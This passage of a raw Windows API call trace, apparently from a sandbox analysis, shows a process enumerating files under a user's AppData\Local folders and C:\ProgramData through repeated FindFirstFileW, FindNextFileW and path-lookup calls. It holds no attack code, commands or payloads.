FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.614] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.614] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.614] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.614] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.614] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.615] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.615] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.615] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.615] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.615] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.615] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.615] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.615] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.615] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.615] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.616] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.616] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.616] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.616] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.616] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.616] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.616] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.616] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.616] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.616] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.616] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.619] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0070.619] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0070.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0070.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temporary Internet Files", lpFilePart=0x0) returned 0x38 [0070.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0070.619] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temporary Internet Files" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temporary internet files"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xa826c9d0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa826c9d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa826c9d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0070.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0070.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temporary Internet Files", lpFilePart=0x0) returned 0x38 [0070.619] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0xffffffff [0070.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec0c) returned 1 [0070.620] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x2c [0070.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0070.620] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\VirtualStore" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\virtualstore"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa9dcc6d0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa9dcc6d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa9dcc6d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0070.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0070.621] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x2c [0070.621] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8a40 [0070.621] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.621] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0070.621] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0070.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0070.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0070.621] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x2c [0070.621] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8a40 [0070.621] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.621] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0070.621] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0070.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0070.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0070.622] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local", lpFilePart=0x0) returned 0x1f [0070.622] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fd8a40 [0070.622] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.622] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.622] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.622] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.622] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.622] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.622] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.622] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.622] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.623] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.623] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.623] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.623] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.623] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.623] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.623] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0070.623] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0070.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0070.626] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0070.626] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 0x5b [0070.628] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0070.628] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 0x5b [0070.629] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0070.629] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 0x54 [0070.630] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0070.631] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0070.631] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 0x7b [0070.632] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0070.633] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0070.633] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 0x7d [0070.634] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{A5347500-BC69-457F-8A14-EDC4EED0B9B0}.tmp", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{A5347500-BC69-457F-8A14-EDC4EED0B9B0}.tmp") returned 0x86 [0070.635] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{ABE4681F-368D-4CF6-B91E-1EBDC0177455}.tmp", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{ABE4681F-368D-4CF6-B91E-1EBDC0177455}.tmp") returned 0x86 [0070.637] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp\\", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp\\") returned 0x2e [0070.638] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~DF03B0B23D160EEE42.TMP", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~DF03B0B23D160EEE42.TMP") returned 0x3c [0070.639] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0070.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0070.639] GetFileAttributesExW (in: lpFileName="C:\\ProgramData" (normalized: "c:\\programdata"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe17625a0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe17625a0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0070.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0070.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0070.639] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x0) returned 0xe [0070.639] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fd8a40 [0070.639] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.639] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.639] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.640] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.640] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.640] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.640] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.640] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.640] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.640] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0070.640] FindNextFileW (in: 